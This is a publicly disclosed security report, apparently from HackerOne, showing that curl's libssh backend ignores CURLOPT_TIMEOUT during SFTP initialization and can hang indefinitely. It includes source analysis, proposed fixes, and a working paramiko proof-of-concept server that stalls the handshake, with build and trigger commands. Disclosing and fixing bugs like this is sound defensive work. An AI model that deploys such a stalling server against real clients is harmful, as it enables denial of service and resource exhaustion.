HexBrain

curl · Report #3735080

libssh SFTP initialization ignores CURLOPT_TIMEOUT, hangs indefinitely

N/Astatus
12upvotes
18 May 2026disclosed

How it was found

Hi all,

The libssh backend in lib/vssh/libssh.c ignores CURLOPT_TIMEOUT / --max-time during SFTP subsystem negotiation. A server that completes SSH authentication and then stalls before answering the SSH_FXP_INIT packet will pin the curl process indefinitely — no timeout fires, no error is returned, and the process must be killed externally. The libssh2 backend has no such problem.

The short version: myssh_in_SFTP_INIT (lines 1288–1309) calls ssh_set_blocking(session, 1) and then immediately calls sftp_init(), which blocks inside the libssh event loop waiting for the server's SSH_FXP_VERSION reply. The timeout check in myssh_block_statemach lives after myssh_statemachine returns — so if sftp_init() never returns, Curl_timeleft_ms is never reached. The libssh session also has no SSH_OPTIONS_TIMEOUT set anywhere in the file, so there is no fallback timeout at the libssh layer either.

The blocking sequence is right there in the source, lines 1288–1309:

static int myssh_in_SFTP_INIT(struct Curl_easy *data,
                              struct ssh_conn *sshc)
{
  int rc;
  ssh_set_blocking(sshc->ssh_session, 1);          /* blocking ON */

  sshc->sftp_session = sftp_new(sshc->ssh_session); /* blocking */
  if(!sshc->sftp_session) {
    failf(data, "Failure initializing sftp session: %s",
          ssh_get_error(sshc->ssh_session));
    return myssh_to_ERROR(data, sshc, CURLE_COULDNT_CONNECT);
  }

  rc = sftp_init(sshc->sftp_session);              /* blocks here indefinitely */
  if(rc != SSH_OK) {
    failf(data, "Failure initializing sftp session: %s",
          ssh_get_error(sshc->ssh_session));
    return myssh_to_ERROR(data, sshc, sftp_error_to_CURLE(SSH_FX_FAILURE));
  }
  myssh_to(data, sshc, SSH_SFTP_REALPATH);
  return SSH_NO_ERROR;
}

This is a deliberate contradiction with the session-start code at line 692–694, which sets the session non-blocking explicitly with a comment explaining why:

/* Set libssh to non-blocking, since everything internally is
   non-blocking */
ssh_set_blocking(sshc->ssh_session, 0);

myssh_in_SFTP_INIT overrides that unconditionally and provides no escape hatch. A quick grep confirms no SSH_OPTIONS_TIMEOUT is ever set on the session in the entire file:

$ grep SSH_OPTIONS_TIMEOUT lib/vssh/libssh.c
(no output)

The timeout check itself lives in myssh_block_statemach (lines 2437–2473) and looks correct in isolation — the problem is that it only runs after myssh_statemachine returns:

while((sshc->state != SSH_STOP) && !result) {
  bool block;
  timediff_t left_ms = 1000;

  result = myssh_statemachine(data, sshc, sshp, &block); /* hangs here at SSH_SFTP_INIT */
  if(result)
    break;

  if(!disconnect) {
    result = Curl_pgrsCheck(data);
    if(result)
      break;

    left_ms = Curl_timeleft_ms(data);   /* never reached while sftp_init() is blocked */
    if(left_ms < 0) {
      failf(data, "Operation timed out");
      return CURLE_OPERATION_TIMEDOUT;
    }
  }
  ...
}

Compare this to the libssh2 backend in lib/vssh/libssh2.c. It sets the session non-blocking once at startup (line 1440) and never reverts it. The SFTP init handler at lines 1779–1799 then just tries the allocation, and if the server has not replied yet, it returns CURLE_AGAIN and yields back to the event loop:

sshc->sftp_session = libssh2_sftp_init(sshc->ssh_session);
if(!sshc->sftp_session) {
    if(libssh2_session_last_errno(sshc->ssh_session) ==
       LIBSSH2_ERROR_EAGAIN)
      return CURLE_AGAIN;    /* yields; event loop checks Curl_timeleft_ms on next iteration */
    ...
}

The libssh backend has no equivalent yield point for this state. Once sftp_init() is entered against a non-responding server, nothing can interrupt it short of the TCP connection being dropped.

The trigger sequence:

  1. Application sets CURLOPT_TIMEOUT or user passes --max-time N. The deadline is recorded in Curl_timeleft_ms.
  2. curl completes TCP and SSH handshake normally. The session runs non-blocking during key exchange and auth; timeouts work fine here.
  3. State machine reaches SSH_SFTP_INIT, dispatches to myssh_in_SFTP_INIT, which calls ssh_set_blocking(…, 1) then sftp_init().
  4. Server has completed auth but withholds the SSH_FXP_VERSION reply. sftp_init() blocks in the libssh event loop.
  5. Control never returns to myssh_statemachine, so myssh_block_statemach never reaches Curl_timeleft_ms.
  6. No libssh-level timeout fires either since SSH_OPTIONS_TIMEOUT was never set.
  7. Process is frozen indefinitely. CURLOPT_TIMEOUT, CURLOPT_CONNECTTIMEOUT, --max-time, --connect-timeout are all inoperative for this phase.

We have a reproducer. The PoC server is a small paramiko script that completes SSH auth normally and then accepts the SFTP subsystem channel at the SSH-transport layer, but never sends the SSH_FXP_VERSION response — exactly what a stalled or adversarial SFTP daemon would do:

#!/usr/bin/env python3
"""
F29 PoC: paramiko SSH server that stalls SFTP subsystem initialization.

The server completes SSH authentication normally but, when the client
opens a channel and sends a 'sftp' subsystem request, it accepts the
channel and then sleeps forever without returning an SFTP subsystem
response.  When curl (libssh backend) calls sftp_init(), the blocking
call inside myssh_in_SFTP_INIT() waits indefinitely, bypassing
CURLOPT_TIMEOUT / --max-time.

Usage:
    pip install paramiko
    python3 F29_server.py &
    curl --max-time 3 -v sftp://user:[email protected]:2222/file

Expected (buggy) behaviour with libssh build: curl hangs past 3 s.
Expected behaviour with libssh2 build: curl exits with error 28
(CURLE_OPERATION_TIMEDOUT) within ~3 s.

Generate a throwaway RSA host key with:
    python3 -c "
    from paramiko import RSAKey
    k = RSAKey.generate(2048)
    k.write_private_key_file('/tmp/f29_host_rsa')
    "
"""

import socket
import threading
import time
import sys

try:
    import paramiko
except ImportError:
    sys.exit("paramiko is required: pip install paramiko")

HOST_KEY_PATH = "/tmp/f29_host_rsa"
LISTEN_HOST = "127.0.0.1"
LISTEN_PORT = 2222
STALL_SECONDS = 120  # stall well beyond any reasonable --max-time


def generate_host_key():
    """Generate a throwaway RSA host key if one does not already exist."""
    import os
    if not os.path.exists(HOST_KEY_PATH):
        print(f"[*] Generating throwaway host key at {HOST_KEY_PATH}")
        key = paramiko.RSAKey.generate(2048)
        key.write_private_key_file(HOST_KEY_PATH)
    return paramiko.RSAKey(filename=HOST_KEY_PATH)


class StallingServerInterface(paramiko.ServerInterface):
    """Accept password auth for any user; stall on sftp subsystem."""

    def check_channel_request(self, kind, chanid):
        if kind == "session":
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username, password):
        # Accept any credentials so the test focuses on SFTP init stall.
        print(f"[*] Auth OK: user={username!r}")
        return paramiko.AUTH_SUCCESSFUL

    def check_auth_none(self, username):
        return paramiko.AUTH_FAILED

    def get_allowed_auths(self, username):
        return "password"

    def check_channel_subsystem_request(self, channel, name):
        if name == "sftp":
            print(f"[*] SFTP subsystem requested — stalling for {STALL_SECONDS}s "
                  f"(never sending subsystem response)")
            # Spawn a thread that does nothing, simulating a server that
            # accepted the channel but never responds to the SFTP subsystem
            # open.  The channel object is intentionally not used.
            def _stall():
                time.sleep(STALL_SECONDS)
            threading.Thread(target=_stall, daemon=True).start()
            # Return True so paramiko marks the request accepted at the
            # SSH-transport layer; the SFTP layer response is then withheld
            # by never sending data on the channel.
            return True
        return False


def handle_client(client_sock, host_key):
    transport = paramiko.Transport(client_sock)
    transport.add_server_key(host_key)
    server = StallingServerInterface()
    try:
        transport.start_server(server=server)
        # Wait long enough for curl to time out (or not).
        chan = transport.accept(timeout=STALL_SECONDS + 10)
        if chan:
            time.sleep(STALL_SECONDS)
    except Exception as exc:
        print(f"[!] Transport error: {exc}")
    finally:
        transport.close()
        client_sock.close()


def main():
    host_key = generate_host_key()

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((LISTEN_HOST, LISTEN_PORT))
    sock.listen(5)
    print(f"[*] Listening on {LISTEN_HOST}:{LISTEN_PORT}")
    print(f"[*] Test command:")
    print(f"    curl --max-time 3 -v sftp://user:pass@{LISTEN_HOST}:{LISTEN_PORT}/file")
    print(f"[*] With a libssh-built curl, the command will hang past 3 s.")
    print(f"[*] With a libssh2-built curl, it will exit with error 28 (CURLE_OPERATION_TIMEDOUT).")

    while True:
        try:
            client_sock, addr = sock.accept()
            print(f"[*] Connection from {addr}")
            t = threading.Thread(
                target=handle_client, args=(client_sock, host_key), daemon=True
            )
            t.start()
        except KeyboardInterrupt:
            print("\n[*] Shutting down.")
            break

    sock.close()


if __name__ == "__main__":
    main()

To reproduce, build curl with libssh support (it is not the default — the standard autotools and CMake builds do not enable it; USE_LIBSSH must be opted into explicitly with --with-libssh):

sudo apt-get install libssh-dev
autoreconf -fi
./configure --with-libssh --without-libssh2 --with-openssl \
            --disable-shared --enable-debug --enable-maintainer-mode
make -j$(nproc)
./src/curl --version | grep -i libssh

Generate a throwaway host key, start the stalling server, and trigger:

pip install paramiko
python3 -c "
from paramiko import RSAKey
k = RSAKey.generate(2048)
k.write_private_key_file('/tmp/f29_host_rsa')
"
python3 F29_server.py &
time ./src/curl --max-time 3 -v -o /dev/null --insecure \
    sftp://user:[email protected]:2222/file

Curl invocation:

curl --max-time 3 -v sftp://user:[email protected]:2222/file

Expected (with libssh-built curl): returns error 28 (CURLE_OPERATION_TIMEDOUT) after 3 seconds.

Actual (with libssh-built curl): hangs indefinitely past 3 seconds; must be killed externally.

With the libssh build curl prints "Initializing SFTP session" and then hangs. The time wrapper will show wall-clock time growing well past 3 seconds with no timeout error; the process must be killed with Ctrl-C. With a libssh2 build the same command exits in approximately 3 seconds with:

curl: (28) Operation timed out after 3001 milliseconds

Exit code 28 (CURLE_OPERATION_TIMEDOUT).

Two complementary fixes. The minimal safe one is setting SSH_OPTIONS_TIMEOUT in the session setup block (around line 2548) so that libssh itself enforces the transfer deadline:

long timeout_ms = (long)Curl_timeleft_ms(data);
if(timeout_ms > 0) {
  long timeout_s = (timeout_ms + 999) / 1000;  /* round up */
  ssh_options_set(sshc->ssh_session, SSH_OPTIONS_TIMEOUT, &timeout_s);
}

The cleaner long-term fix is removing ssh_set_blocking(…, 1) from myssh_in_SFTP_INIT entirely and letting the non-blocking session return SSH_AGAIN so that myssh_block_statemach can loop back and check Curl_timeleft_ms — the same pattern libssh2 already uses. The same ssh_set_blocking(…, 1) pattern appears at lines 1784 and 2163 of the same file and is worth reviewing for the same reason.

Thank you, AISLE Research Team

Impact

A malicious or stalled SFTP server can cause libcurl builds that use the libssh backend to ignore CURLOPT_TIMEOUT and --max-time during SFTP subsystem setup, leaving the process hung indefinitely until it is killed externally. The impact is denial of service and resource exhaustion rather than memory corruption, and it is limited to non-default curl builds that were explicitly compiled with libssh support.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original